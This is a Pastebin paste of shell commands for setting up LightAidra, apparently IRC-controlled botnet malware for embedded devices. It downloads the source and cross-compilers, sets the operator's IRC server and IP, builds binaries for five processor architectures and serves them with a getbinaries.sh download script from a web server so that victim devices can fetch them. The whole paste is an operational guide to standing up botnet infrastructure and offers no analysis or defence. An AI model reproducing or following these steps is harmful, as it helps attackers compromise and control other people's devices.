Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- yum update -y
- yum install gcc nano make wget unzip -y
- wget https://github.com/eurialo/lightaidra/ar...master.zip
- unzip master.zip
- cd lightaidra-master
- cd include
- nano config.h (now that you are editing config.h you want to look for line 11 and edit it to your IRC info, after that look for line 34 and chage the referance http to your servers IP) After that save the file and go back to /root/lightaidra-master
- mkdir bin
- cd bin
- wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
- wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
- wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
- wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
- wget (http)://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
- tar -xvf cross-compiler-armv5l.tar.bz2
- tar -xvf cross-compiler-mips.tar.bz2
- tar -xvf cross-compiler-mipsel.tar.bz2
- tar -xvf cross-compiler-sh4.tar.bz2
- tar -xvf cross-compiler-powerpc.bz2
- cd ..
- make mips mipsel arm sh4 ppc
- yum install httpd -y
- nano getbinaries.sh (edit the IP address at the top to your servers IP once again)
- cd bin (and you should see all your compiled files)
- mv mips mipsel arm sh4 ppc /var/www/html
- cd ..
- mv getbinaries.sh /var/www/html
- Now we need to run 'restorecon -r /var/www/html'
- And you have successfully setup LightAidra.
Advertisement
Add Comment
Please, Sign In to add comment